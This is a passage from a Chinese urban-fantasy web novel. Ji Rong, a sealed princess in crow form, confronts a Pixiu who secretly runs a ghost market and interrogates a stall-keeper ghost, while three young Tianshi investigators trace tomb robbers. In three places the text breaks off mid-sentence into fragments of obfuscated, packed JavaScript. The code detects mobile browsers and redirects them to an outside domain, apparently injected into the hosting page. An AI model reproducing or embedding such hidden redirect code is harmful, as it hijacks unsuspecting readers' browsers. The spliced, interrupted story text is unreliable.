且不提怎么会有人把自己的洞府设在这种既无灵气、也无风水庇佑的地方,她栖在院中的死人树上,越看屋里的人,越觉得眼熟。 但眼熟归眼熟,乌鸦的脑壳太小,只够装一半的姬容意志,以至于她这会儿满腹只有一个想法——自己居然会认识这么不入流的家伙吗? 透过窗户,就能看见摊主鬼领着张周二人进屋,这处鬼宅不仅从外面看是雕梁画栋,龙檐凤啄,内里更是金碧辉煌,另外辟出一大块空间。 堂屋内部装修得跟影视基地的宫殿似的,红毯顺着台阶铺下,金银陈设无数,视觉效果有种没有功劳也有苦劳的廉价感。 一道低沉的声音响起:“就是你们两个在鬼市上找茬?” 张京秋顺着声音看去,就看见一个高大异常的身影坐在正前宝座上,姿态颇为开阔不羁,脸上也同样戴了副纯金打造的面具,额心位置伸出一只镶嵌有各色宝石的角。 “……”鬼市管理员到底什么毛病,明明听着就像个大佬,非要给自己整得像暴发户。 摊主却没等他开口,甫一进门就丝滑地往前扑倒,五体投地,没完没了地告起状来:“是,大人,他俩一路走来先是踩了老李的摊,又挑刺老黑的货,还当着人家的面说我骗钱,还好属下眼睛尖,一眼就看出……” 说实话,它絮絮叨叨半天,念的鬼名字没一个是管理员认识的。 鬼市管理员打断手下的废话:“你闭嘴。” 转而又看向两位嫌疑人,尤其是个子更高挑的那个,观摩片刻,它没有像摊主期盼中的那样,直接惩处两人,而是沉吟着问道:“你身上有种令我熟悉的气息。” “鬼市上发生的一切都在我的掌控中,”管理员走下台阶,“年纪轻轻就能认出器灵,也只可能是哪几个地方出来的,报出你的身份来。” 它终于走到张京秋面前,极高的身量无形自带一股压迫力,令人意外的是,明明是群鬼头子,管理员身上的煞气并不重,反而有股清正古朴的气息。 “晚辈张京秋,是天师府的人。” 为了验证自己说的话,张京秋还从领口处掏出一块玉牌,功德金光熠熠生辉,赫然是天师府的身份证明。 敌我双方力量差异太大,不宜硬碰硬,再加上观对方心态平和,情绪稳定,说话有条理,上来先套近乎而不是动手,联想到近来人间愈发太平,玄学界不少人纷纷开通副业,把副业开到鬼市这种事虽然听着有点猎奇,但雇佣鬼的成本比人低多了,又觉得也不是不能理解。 张京秋猜测鬼市管理员应该也是某位隐瞒身份的前辈,或者有登案的一方鬼王,反正还有沟通的余地,便将此行的原因和目的全盘托出:“我们手上有一个要调查的任务,线索显示,任务里很重要的对象几天前在鬼市摆过摊,所以才会追来,前辈要是不介意的话,能不能帮忙行个方便?” 没想到鬼市管理员深深看他一眼,竟是直接拒绝:“不行。” 张京秋意外道:“为什么?” 他自觉提出的要求并不过分,鬼市通天铺地都是这位来历不明的管理员耳目,只是给点名单之类的线索,完全不费半点力气。 管理员还没说话,摊主面具上的惨白鬼脸顿时眉眼倒竖,尖酸反呛道:“呔!我们大人一言九鼎,哪有你个凡人反驳的余地!何况你到现在还没有交罚钱!” 张京秋:“……交多少?” 乌鸦从死人树转而跳上窗台,近距离看戏,她总算是想起来这牛气轰轰的“管理员”是谁了。 “跟罚钱没关系,就算你不说,我就知道你们在调查的是什么,但我不会帮你们,”管理员摆摆手,直接背对着两人,分明是拒绝沟通的意思,“看在天师府的份上,你们这次擅闯鬼市坏规矩的事我可以不跟你们计较,哪来的哪去吧,送客。” 它话里话外都表明了自己清楚是怎么一回事,周步虚不想线索断在这里,踏出一步,还想再多尝试两句,却被张京秋捏住肩膀,他扭头,看见张京秋朝自己摇摇头。 还在鬼市的地盘上,最好不要在这里激怒管理员。 张京秋:“是晚辈叨扰了。” 管理员没有转回身看他俩,依然表现得毫无转圜余地:“走吧。” 门开开合合,异空间里时间流逝速度全在空间主人的掌控中,不多时,摊主鬼又臊眉耷眼地拎着白灯笼回来了,喊了声:“貔貅大人,就这么把俩小崽子送走吗?” 屋子里灯光晃动,若是有人在此时转到鬼市管理员身前,就会发现它脸上的黄金面具竟在凭空融化、流动,又重新贴合着面部,从鬼脸另形成一副兽面,眼、鼻、吻部俱向前突出,粗犷中不失威风凛凛。 鬼市管理员,或者说是貔貅没好气道:“带俩大麻烦回来,你还好意思遗憾上了,还好没露馅,我背着总部搞点副业容易吗?下次把这种人直接赶出去就行了,别有任何往来,知道了吗?” “知道了,但是,”摊主犹豫道,“但他俩刚出去的时候还是把罚款交齐了,我要还回去吗?” 貔貅:“……” 物肖主人形,它手下别的不行,吞钱速度跟它有的一拼。 被貔貅一声不吭地冷冷盯着,摊主也后知后觉地反应过来自己说了什么老虎头上拔毛的蠢话。 也是,进了貔貅大人肚子里的钱,怎么还有吐出来的可能? 它悻悻地甩了下风干长舌:“属下知道了。” 笃笃,窗外响起两声礼貌的撞击声,像有人在拿什么尖锐的东西轻敲窗棂。 但貔貅和摊主都知道不可能,异空间唯二的两个客人已经被送走,这是貔貅自个儿的地盘,没有作为凭证的白灯笼,断没有不速之客闯入的机会。 “风真大,”小鬼摊主朝窗户走去,想让外面的死人树别作妖了。 这群树鬼一摇摆树枝,就会在这片空间里刮起阵阵妖风,平时念在它们又饿又无聊的份上,偶尔发癫也很正常,也没哪个鬼跟它们计较这些,但今晚貔貅大人心情不好,这不明摆着找非常规超度吗? 摊主鬼美心善,不忍同事死于非命,谁料他才推开窗户,就看见什么黑漆嘛糊的东西正昂首气胸地站在外边窗台上,歪着脑袋看自己,红眼睛里满是兴趣。 什么玩意儿,看着像个活的……活的?? “乌、乌鸦?!” 它霎时倒抽一口凉气,死鱼眼都悚然瞪圆了,没等惊愕失措地吐出后半句“这里怎么会有乌鸦”,就见一阵冲天红光猛然从乌鸦眼睛里爆闪而出,声势浩大得像是要将这方天地都吞没,但落在客观时间里,恐怕就连0.001秒都没到。 轻飘飘地,白无常面具上露出一个纯然空白的表情,扑通一声,步上了面前那棵死人树的后尘。 光洁赤裸的脚踩在地上,随即漆黑裙裾垂坠,自小鬼背上踏过。 貔貅浑然未觉,还在纠结张京秋来访的事情:“嘶……我想起来那小子是谁了,看着就冷冰冰的,听说他脾气比茅坑里的石头还倔,我要不还是把名单打发给他吧?总觉得那张姓小子没那么容易放弃……” 左右也没别的人了,姬容站定在它身后,笑眯眯地接道:“你是在问我吗?” “!” 貔貅大惊,下意识扭过脑袋,黄金兽面就险些跟姬容贴了个脸对脸,蹬蹬蹬!它顿时后退数步,双手环胸,将近三米的壮硕身躯愣是缩得像个娘胎里的婴儿,抖抖嗖嗖无助至极,失声道:“凤——” “嘘,是我,”姬容竖起一根修长手指,抵在唇前,“凤凰重伤陷入昏睡,大概没个十年八年醒不来了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491090|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻言,貔貅又是抖了三抖,试探问道:“姬容殿下?” 幸好摊主鬼刚被姬容打晕了,不然这副怂样要是被看见了,就等着事后被清算灭口吧。 姬容嗯了一声,越过一站一躺的两只,径直走到进门时貔貅坐过的那只宝座坐下,到处都是亮澄澄的黄金,看得直晃眼,这么多年过去了,她还是没法适应这种低级审美。 貔貅亦步亦趋地跟着她:“您这次大概会醒来多久……说起来,这还是我第一次在灵境外见到您。” “不知道,我是被人弄醒的。” “谁?谁这么大胆!” “几个盗墓贼而已,没关系,”姬容宽慰道,“已经被我亲自挫了。” 貔貅倒抽了一口凉气,心中叫苦不迭,暗中把那几个已经殡天的盗墓贼也翻来覆去地鞭尸了数遍。 醒来的是姬容,算是好消息,但也是个坏消息。 要是这具身体里的另一个灵魂,它偷偷经营鬼市的事情泄露后,免不了一顿痛打,但它也同样不了解姬容,只知道这位殿下执掌灵境,权利极大,旁的能力、性格和为人做事的风格,一概不知。 未知实情,貔貅不敢轻举妄动,兜着圈子边陪刚醒来不久的姬容说话,边打听自己在意的信息。 姬容要钱,它忍痛给;要方才刚走的那两人资料,貔貅不明所以,但祸水东引不过是顺手的事,它也给。 见姬容好说话,又确实是意外醒来,貔貅的戒心消退不少,拿出了自己的手机:“加个联系方式?要是有需要,殿下可以随时联系我。” 没人会介意自己列表里多一个财神兽,姬容欣然应允。 难以想象此等阴风阵阵的鬼域居然还会有信号,俩非人扫过好友码,姬容便将手机收回不知通往哪儿的虚空里,说到了正事上:“你过会儿去回一下那两个年轻人吧,他们是在调查关于我的事情。” 貔貅“啊”了一声,猜测道:“您是准备亲自出手,解决掉他俩?” 它委婉道:“这倒也不至于……今时毕竟不同往日,新时代的法律管得很严,就算是我们,也没以前那么无拘无束了。” 不然它还那么费劲地经营副业开什么,直接去抢银行得了。 “我知道,我只是想奴……认识一下他们,嗯,你说那个年轻人是什么来头来着?”姬容回忆了一下,天师府——没听说过,“总之应该挺厉害的吧,算了,再废也不会比现在那个更废。” 现在那个自然指的是李二狗。 “需要我给您安排身份吗?” “不要,”姬容咯咯地笑,再度竖起手指在貔貅面前,弯起的眼眸中满是威胁,“这次我想好好玩一段时间,你不要表现出认识我的样子,更不要把关于我的消息告诉另外几个家伙,知道了吗?” 貔貅自己的把柄还抓在她手里,当然不可能自取灭亡,连连点头,他这会儿还乐观地以为。墓、也就是封印就算破了,也只有一个姬容跑出来了,摆平她就算万世太平。 “我先走了,别忘了我交代给你的任务。” 一阵浓郁黑雾从姬容身上涌出,如有实质般猛地收缩,并最终凝聚成一只乌鸦的形状,窗户没关,红眼乌鸦被貔貅目送着飞走。 这片空间出去容易进来难,何况在来的路上,姬容就已经沿途做好了标记,方便自己将来没钱花的时候,随时回来打劫。 因此即使没有白灯笼,她也迅速找到了出去的路。 一只乌云急速掠过天空,死人树们抖抖枝丫,有气无力地在鬼域里掀起新的风潮。 嗯? 姬容乍一看还以为自己看错了,在天上盘旋了两圈,才发现老早就被送走的那两个小子,居然还守在异空间的外边。 月黑风高,这么晚还不回家——是想干什么坏事呢? 8. 打劫 摊主鬼迷迷瞪瞪地睁开眼睛,意识尚未完全回笼,就对上一双深沉的铜铃巨眼。 “……” 它差点被吓得直接从地上飞穿过天花板,抖抖嗖嗖地喊道:“管、管理员大人!” 貔貅站直了身体,地上的影子瞬间变得高大起来:“你终于醒了。” 异空间里没有固定的时间流逝速度,摊主鬼不知道自己昏了有多久,在貔貅往回走的时候,它挠挠头,也就稀里糊涂地跟上了。 其实它更想问自己怎么突然就失去了意识,但貔貅没有给它多嘴的机会,而是直接打断了小鬼还没出嘴的疑问:“你那里还留着鬼市每天的摊主名册吗?” “是在属下这里。” 突然冒出这么个问题,摊主心中感觉有几分不妙,果然,下一秒貔貅就开口道:“趁那几个天师没走远,你把名册拿去交给他们吧。” “什么?!” 小鬼震惊无比,顿时头也不晕了别的也不问了,一蹦三尺高,简直不敢想象自己听到了什么:“您不会真的打算给那几个无礼的人类让步了吧!” “他们先是在假冒身份进入鬼市,影响我们正常的交易,还拿天师府的牌子威胁您,大人三思啊!我们怎么能纵容这几个讨厌的人类在鬼市横行霸道呢!” “什么乱七八糟的,”貔貅烦道,“我就是纯嫌人类麻烦,反正也不是什么重要的东西,今天不答应他们,指不定后面还要怎么添乱,你哪来这么多废话。” 您刚才可不是这么说的啊! 您不久前不还说就算是天师府,自己也只是勉强给个面子放走人吗? 是谁,在自己昏迷的时间里蒙蔽了主人伟大的双眼?? 摊主满心悲愤,还欲与管理员据理力争,奈何貔貅早知道它会是什么反应,懒得听它哭天喊地,直接掐手召出一股邪风,将人连着白灯笼,一同远远地刮走了。 * 路边荒芜一片,萧瑟的风裹着落叶飘零滚过,因为电路老旧,十字街口的路灯明明灭灭,平白给本就冷清的周遭环境更添加了几分诡异。 而在路灯之下,还矗立着两个熟悉的身影,分别就是张京秋和周步虚。 两人一出异空间,就被传送到了这里,看着眼前熟悉的寂寥场景,哪还有什么不明白的。 周步虚叹了口气:“恐怕我们从刚找到鬼市的入口,就已经被那位深不可测的管理员发现了。” 张京秋点头表示赞同,现在看来,鬼市的占地范围比他想象的还大。 虽然认识到了对方的强大,但他仍然瘫着一张脸,寸步不离地站在空间入口处,脚下如同生根在了原地一般,周步虚都走出好几米了,才发现人还在后头没跟上,不禁又绕回来,奇道:“你站这干什么?不会是想效仿程门立雪,用诚意打动管理员吧?” 张京秋:“……” 他冷冷地瞥了眼周步虚,表情像是在看一个弱智,后者摸摸鼻子,心虚地移开视线。 过了半晌,张京秋才冷淡地说了句:“我在等先前那个负责带路的摊主出来,它既然能带陌生人到管理员那去,就说明在鬼市地位不同于普通小鬼——有的信息不是非得通过最难搞的那一个人才能知道。” 周步虚露出一个恍然大悟的表情,随即:“但异空间通常会有很多个出口,我们走的只是其中一条,万一人家另外走了一个出口,我们这不就是白走了吗?” 这倒也是个问题。 张京秋没回答他,而是低头从随身携带的背包里抓出满满一把石子,都是指甲盖大小的碎石,饶是最亲近他的队友周步虚和白凌燕,都不知道这人到底在自己的背包里装备了多少物件。 “……投石问路?” 周步虚靠不确定的一问,得到了一个肯定的回答,只见张京秋拿起几粒石子,按东西南北的方向往地上扔去,只有代表东面的石子在不正常地跳动。 “去东边。”他说道。 天师府有不少攻击性不强但日常很方便的小术法,投石问路就是其中一种,它没有任何攻击性,唯一的能力就是定位和找东西,好在准备起来也很方便,有一把石子就能实施。 等到了东面,张京秋又扔了一把石子,这次跳动的幅度小了一些,如是几番尝试,两人站到了古城墙的边缘,没过多久,一股熟悉的空间扭曲感就扑面袭来。 周步虚从包里掏出几张符咒:“来了。” 说时迟那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491091|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,就在白灯笼凭空浮现的瞬间,摇晃的长舌还没有挨到墙面,冷不防就偷袭出两道人影,同时向摊主鬼出手! 鬼:“???” 一人戴着特殊的手套,将它强行揪出墙面,另一人飞快地朝它甩上几张强力符咒,顿时就将摊主定得一动不能动。 作为貔貅大人手下的第一心腹,摊主鬼何时受过这种委屈,当即尖着嗓子大骂道:“你们这帮该死的人类——” 没等骂完,下巴处就骤然抵上一股灼热的气息,摊主眼珠子转了转,拼命向下挤,直到看清下颌符咒上的超度经文。 它倒吸一口凉气,立即就像被掐住了脖子的鹅一般,原本要骂什么也忘了,胆战心惊地改了口:“天师,天师大人们留命啊!我、我们有有有话好商量!” 张京秋向来话少:“鬼市名单。” 摊主:“就就就在我这,你放开我,我立马就拿给你。” 看它那副眼珠子提溜转的样子,就知道鬼话不可信,张京秋对此的唯一反应是把超度符咒又往对方脖子上靠近些许,青色的鬼皮裂开泄露,灼热感几乎烧到摊主鬼的灵魂内里。 摊主:“!!!” 杀千刀的人类,等它解困了一定不会放过这两个人的! 识时务者为鬼杰,它隐忍着道:“我这次真的老实了,名单在我身体里,你们至少得先把我手上的符咒拿开,我才能取出来给你们。” 张京秋递了个眼神给周步虚,后者揭开鬼左手上的符咒,于是摊主依言,原本还有人形的左手瞬间变成狰狞的鬼爪,撕开腹腔,小心翼翼地取出一本名单。 名单上还沾着点血腥味,张京秋视若无睹地检查后,没看出有什么问题,便将名单放入包里:“叨扰。” 摊主:“拿到东西就滚!” 两人见好就收,另留下一张滋补灵魂的符咒后撇身离开,站在原地的白面鬼揉了揉下巴,正愤愤不已地准备钻回鬼域告状时,一只手按上它肩膀,霎时间巨力扑来,它又动不了了。 “等等,”笑吟吟的声音响起,“前面人的忙都帮了,也不介意帮我点忙吧?” 摊主:“………………” 它今晚这是造了什么孽。 9. 摄魂灯 浓郁的黑色雾气自地面升腾而起,将摊主紧紧笼罩起来,在这片诡异的大雾里,它什么都看不见,什么都摸不到,只能像抓住救命稻草一样,被迫拼命听清绑架者的每一句话。 这样阴冷的寒气,就连死了很久的摊主鬼,都恍惚中感觉自己重忆起了死亡是什么滋味。 它当然不会知道,这些雾气真正的作用并不是恐吓,而是隔绝和屏蔽。 黑雾抽取自不同界限之间的天然屏障,普通人所生活的阳间和死者所栖居的阴间中间,就有一层这样的黑雾屏障。 像摊主这样滞留阳间已久的野鬼,只是死过,没有真正地下过阴间,对黑雾的恐惧就像活人怕死一样难以克服。 在鬼市的地盘上,盘削鬼市的鬼,这种操作太招仇恨了。姬容被封印的时间太过漫长,闲得没事收集了一大堆这样的黑雾,现在正好用上。 连界面都能隔绝的天生阴物,隔绝鬼市主人的注意自然也是不在话下。 “我问,你答,”她拍拍摊主的肩,半是亲昵半是威胁地道,“听懂了吗?” 摊主愁容满面:“大人,虽然不知道您为什么找上我,但我真的只是一个滞留在此地二百多年投不了胎的野鬼,您想知道的事情,我更是……” 知道个鬼啊! 它的免责声明还没说完,黑雾就猛然一个翻涌,来不及反应,摊主就感受到自己的左臂完全消失了。 经不住这宛如刮骨的剧痛,它惨叫出声:“啊!” 姬容收回指尖,闲闲道:“我只问你有没有听懂我的要求,没有问你这些废话。” 鬼都是能量体,只要能量充足,再重塑一个左臂、乃至于捏出一个跟自己原型完全不同的新鬼体都不成问题,也正是因为如此,摊主疼痛不已的同时,也对逼问自己之人产生了极大的恐惧。 它失去了对自己那部分躯体的感知——这等于对方直接吞食了属于它的部分能量! 正在威胁自己的……是一个绝对比自己更凶恶、更危险的大鬼。 摊主鬼强忍着被吸收的痛苦,改口道:“大人,大人,我听懂了!” 真是见了鬼了! 有这实力,跑进鬼域去跟貔貅大人掰手腕都够了,何苦为难自己一个小喽啰?? “早这么听话不就行了?”姬容一拍手心,“何必自找苦吃。” 摊主敢怒不敢言,好在这句话也没真的要它回答,姬容的注意力很快就转移到了此行的真正目的上:“你知道器灵是什么吗?” “啥……?” 这不玄学常识吗? 白无常面具上变化出一个活灵活现的愕然表情,好在它还是记打的,眼见黑雾又开始有翻滚的迹象,独臂鬼忙不迭地尖声喊道:“器灵、器灵就是器物里自然凝结成的灵体,它们是活的,有自己的意识,再加上还能认主,所以在那群玄门人里很受欢迎!” 黑雾一顿,随即慢慢地归于平静,见状,摊主终于松了口气。 它平息着心跳,眼珠子骨碌碌转了一圈,突然恍然大悟,自以为找到了真相,讨好着问道:“大人,您是不是也在为鱼龙会做准备,所以才想找有器灵寄身的法器?” 鬼市有好几个这样的法器呢! 然而姬容完全忽视了它后半句废话,只问道:“鱼龙会又是什么?” “鱼龙会——这可是玄门第一盛会,”摊主大吃一惊,心想这难不成是哪个最近才从土里跑出来的老古董前辈吗,怎么会连鱼龙会都不知道? 越猜越有可能,它下意识地解释得更详细了一些。 “玄门现在最大的几个势力,一府六姓八大校,一府就是天师府,而六姓则是玄学界最有影响力的六大世家,各有各的传承特长,而八大校就是开设有玄学专业的八所大学,不过人类那边好像喊他们叫什么非自然学。” 摊主好歹算鬼市半个对外的话筒子,虽然是个鬼,但说起这些来也不全算是鬼话连篇。 姬容没说话,用脚后跟有一下没一下地点着地面,没听太懂,但不妨碍心下十分凛然。 盛世和乱世最容易出高人,她自从墓里爬出时,向山下遥看见一派黄尘清水,千年变更如走马,河清海晏,万万家灯火摇曳,一见便知是盛世。 也正是因为这份忌惮,姬容才歇了强露头的心思,准备先顺其自然地融入这个时代试试,现在听了摊主鬼的介绍,更是侥幸自己当初还好选择了低调发育路线。 “这个鱼龙会,就是由天师府牵头、六大家协理的交流大会,中途变过好几次名字,不过也有个将近上千年的历史了,”摊主鬼洋洋洒洒道,“哼,说起来可比六大家存在的时间更长了,玄术这东西本来就是民间自己琢磨出来的,所以鱼龙会也更强调发掘民间的玄门高手,主办方会设置许多考题,分组参加,能在其中表现出众的人,会后也大多被一府六姓吸纳走了,因此这个名字,也取的个‘鱼跃龙门’之意。” 那岂不是意味着,可以借着这个鱼龙会打入现在的玄学界最中心位置? 姬容心头一动。 说实话,那几个盗墓贼死在她手上,其实不算冤枉。 王姬墓本身就是一个超大规模的大封印阵,以王姬为阵眼,三百巫觋殉葬,还占据了岐山的风水宝位,为的不仅是维护一朝一代的兴衰,更是封印住通往另一个界面的入口。 在不知道多早之前的岁月里,人还没有成为万物之灵长,占据这片土地的是另一群上古灵物,后来因为一些原因,两界分割,那群灵物被天道驱赶去了一方单独的空间,也就是所谓的灵境,此方天地则灵气日趋衰落,走上另一条发展路径。 两个世界之间唯一的沟通通道,则被挂靠在了一件法器中,同封在了王姬墓里。 这还是被关封后,姬容从凤凰那里打听到的事情。 两方世界能互不打扰当然是最好,但要怪就怪当初那群盗墓贼一铲子铲哪不好,直接铲在了阵眼上,不仅把姬容惊动了,还带着铲松了封印。 被姬容掐死填墓也算是报应。 直到这会儿,姬容还没数清楚有多少东西跑出来了,反正,她的三百个人形陪葬品是不在原地了。 “……” 这种事情不能细想,一想就头大,人生需要适当装傻。 能把麻烦移交给专业部门最好,姬容眉目微舒,决心一定要抓住鱼龙会的机会,拉别人一起下水。 她问道:“那你知道鱼龙会具体什么时候什么地点开始吗?” 没想到摊主鬼却笃定答道:“三天后,就在Z城。” 姬容一愣:“这么巧?” 她才张开嘴,饭就自己跑嘴里了? “鱼龙会四年一次,按道理还有半年才到呢,这不是最近巧了吗?岐山最近出了个周墓,轰动不是一般的大,不出意外,这次鱼龙会应该就是围绕着这个出题了。” 说到一半,摊主忽然反应过来,劫持自己的似乎就是一位刚出土的老鬼前辈。 摊主:“……” 姬容:“……” 一不小心以最平常的语气说出了惊天真相,顿时空气里只剩下沉默的余韵。 死寂里,姬容幽幽地出声道:“你知道的,只有死人才能保密。” “大人,”摊主鬼的声音比她更轻,“您知道的,我已经是个死人了。” 这下连游走的黑雾都尴尬得凝滞住了。 三秒后,姬容打了个响指,摊主鬼甚至来不及再抖个机灵,就感到瘆骨的阴寒袭上,失去意识前,它目眦欲裂,满心都是“鬼命休矣”的无声呐喊。 黑雾将它方才的记忆清理了干干净净,顺手帮先前那两个人类,把他们干的坏事也给删了个干干净净,这才化作黑水,从鬼面具的七窍缓缓流出。 姬容吁出一口气,临走前看见那盏在鬼域带路的白灯笼,也随着摊主鬼的昏倒,被随意摔在地上。 她捡起灯笼,入手的瞬间,姬容就发现这灯笼除了是貔貅私家领域的通行钥匙,居然还有着点别的作用。 “摄魂灯吗……有点意思。” 细长的竹灯柄被人捏着转了个圈,只是换了个手提,白灯笼的档次都好像被带着提升了不少。 姬容瞥了眼被二度打晕的独臂鬼,笑道:“一个灯买你一条鬼命,也算是赚了。” 随着话语飘落,黑雾涌上又消散,窈窕的身影彻底消逝在原地。 * 鬼市的名册甫一到手,张京秋就带着周步虚,同白凌燕那边的盗墓贼名册汇合。 毕竟不是正式的交易场合,鬼市那边记录得十分松散,只有摊位、物品名和摊主名,上有黑红二字,黑字记的是假货,红字记录的是真货,摊主的名字更是敷衍潦草,有几个一看就知道是假名。 但也算是他们运气好,碰到的是胆怯又不算聪明的李二狗,留下一个巨大纰漏。 只见三日之前,用如血红字写着的那一行记录,名字处赫然是陈虎。 他第一次来鬼市,被这里鬼面重重的氛围吓得心中不安,管理员让人来问他要登记时,一时情急,就把带自己下墓又死在墓里的陈虎给报上去了。 陈虎没死的话,要是小队真挖到了东西,确实也该是他带赃物来鬼市脱手。 “这个陈虎,跟另一份名单上的一个人重名了,他户籍在东边的石磨村,正好就坐落在岐山山脚下,”白凌燕说着,手指在键盘上飞快跳动,“陈虎下墓的嫌疑还挺大的,我找人查查他。” 张京秋可有可无地点了点头,心里还在想鬼市相关的事情。 虽然知道鱼龙会在即,鬼市管理员为了息事宁人,大概率不会因为自己强要名册的事情大动干戈,但事情后续居然会这么平静,半丝被找麻烦的痕迹也没有,又让他感觉有点不对劲了。 总觉得鬼市管理人不是什么脾气很好的存在。 “找到了。”白凌燕忽然道。 另外两人也凑到电脑前。 白凌燕念道:“石磨村确实有个叫陈虎的人,没有固定职业,但是收入情况却一直不错,前几年还把自家在乡下的房子翻新了一遍,没有妻子,村里人说他其实早就在城里买房了,只是一直还住在乡下,似乎对老家依恋很深。” 周步虚轻飘飘地插嘴道:“城里哪有乡下好作案。” “看来应该就是他了,”张京秋扫了眼资料,忽然皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491092|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眉,“但陈虎一个久住在乡下的人,是怎么能在那么短的时间里,就知道周王姬墓消息的?” “有同伙呗。” 白凌燕又调出几个人的资料,如果李二狗在这里,就能震惊地认出屏幕上的大头照,分别是那晚盗墓队伍里的黑衣男、以及另外几个队员。 玄学查人的办法有很多,只要有共同的事件和因果,很容易就能顺藤摸瓜地测验出一批人,在调查某些事情的时候,远比人口库排查要快得多。 黑衣男的真实身份甚至是白家拍行的一位合作鉴定师,关系颇广,信息来源广泛,恐怕就是从他这里得到了王姬墓的消息,再联系陈虎和其它合作已久的老队友,共同下墓。 跟这群人比起来,李二狗的信息就显得青涩得多,以至于张京秋扫了一眼,就知道他是干什么用的:“填墓的活祭。” 一些穷凶恶极的盗墓团伙就喜欢带气息干净的新人一起下墓,等遇到难以解决的意外时,就把对方推出去,投喂墓中的凶物,来给自己争取逃命时间。 但这次他们显然失了算,因为另一边负责调查的人刚才又告诉白凌燕,这一伙盗墓贼里,居然除了李二狗,另外几人至少在一周之前,就已经失去了所有的活动信号。 鬼市那边登记的陈虎,恐怕也是别人假托了他的名字,而这个假托名字的人,很大可能就是那个唯一活下来的李二狗。 沉默良久,白凌燕才道:“就算是遇到极为凶恶的镇墓煞物,也不该是只活了一个新人。” 就算是在翻船界,这也翻得有点太新奇了。 周步虚比她更敢想一点,他咦了一声,猜测道:“你们说,最后回来的那个李二狗,还是李二狗了吗?” “大白天的,你别讲恐怖故事行不行?”白凌燕脸都有点发青了,但还是镇定道,“能附身活人,至少也是鬼王级别的,墓里的凶物基本都是有实体的,不可能会有这种级别的大鬼。” 但除了被附身,还有什么原因,能让李二狗独自活着出来呢? 总不可能是墓中凶物特地留了李二狗一条活路吧?那种有实体的凶物都是众所周知的智力低,看到活的就咬上去了,根本不管三七二十一。 而且李二狗还去鬼市倒卖了王姬的殉葬品,就说明了他带走了墓主的东西,那更不可能被放过了。 白凌燕:“事情可能比我们想得更糟糕,要请外援吗?” “最好不要,”张京秋仍盯着屏幕,白光照在他俊秀的脸上,看不出什么情绪波动,“三天后鱼龙会开启,这次王姬墓的墓主躯体失踪事件,除了我们之外,另外七大校的与会选手也都收到了任务,这很可能就是青年组比赛的开启线索。” 鱼龙会共有三个环节,一是分组赛,二是游龙榜,三则是讲经会。 玄门是一个很看重修为资历的地方,公平起见,鱼龙会的与会者会按照年纪被分成青年组和壮年组两个组别进行比赛,而游龙榜是连六大家都十分重视的排行,一般会按照分组赛的比赛结果进行排行,也分成两个榜,青年组在银龙榜,壮年组在金龙榜,由天师府府主、大天师和六大家家主,以及其它一些颇有名望的前辈担任评委,共同排榜。 两榜的前十名会被称为龙头望,获得奖励,内容在第一轮分组赛后才会公布,但基本都是难寻的好东西。 讲经会则是更类似于自由交流的地方,玄门的前辈们会自行开展讲坛,各大势力则借此机会招募人才,因此,无论是从争取奖品的角度讲,还是从发展前途看,鱼龙会最重要的两个环节,莫过于第一轮的分组赛。 张京秋手指交叠,这是他思考时的典型动作。 “青年组的任务应该只是寻找墓主下落,随手打点伴生凶物,最大的危机不会由我们承担,就算有风险,也是可控的,”他沉默片刻,才道,“三天后鱼龙会正式开始,却提前这么早发下前置任务,这件事肯定很重要。” 也肯定很难。 “好吧,既然小组长都这么说了,那作为队员,我肯定是要跟你一起卷的了,”白凌燕叹了口气,“其实我家里这次也对我在鱼龙会的成绩定下了指标,所以加把劲吧大佬,能不能飞就看你的了。” 周步虚左看看右看看,氛围很激励很热血,但他还是忍不住挠挠头,小声道:“我家里对我没什么要求……” 另外两人齐齐用死亡视线盯着他,愣是把周步虚剩下的话硬生生地看咽下去了。 “……但我有意进取,”他举起双臂作屈服状,“我自愿加入你们,不要再这样看着我了好不好?我们之间的羁绊可是很坚定的啊!” 也就这点出息了,白凌燕懒得理他,转而问道:“我们下面应该怎么办?” “去石磨村,先去见见那个李二狗,”张京秋知道这风险很大,因此想了想,又补上一句,“可以问问另一只小队的进度,进度没我们快的话,就把他们也引到石磨村这边。” 他们学校这次参加鱼龙会的共有六个人,虽然平时各干各的,但实际是算一支队伍的。 白凌燕心领神会,比了个OK的手势回去。 同学嘛…… 人多力量大,要死一起死。 10. 手艺人 砰嗵! 李二狗手上一个没抓稳,搪瓷杯滑落在院子的地上,圆润地打了个滚。 他脸色泛白,低头有些忡愣地看着被自己失手摔掉的漱口杯,从今早开始,就有一股无名的不安在他心头跳动。 “你傻傻地站那干什么?” 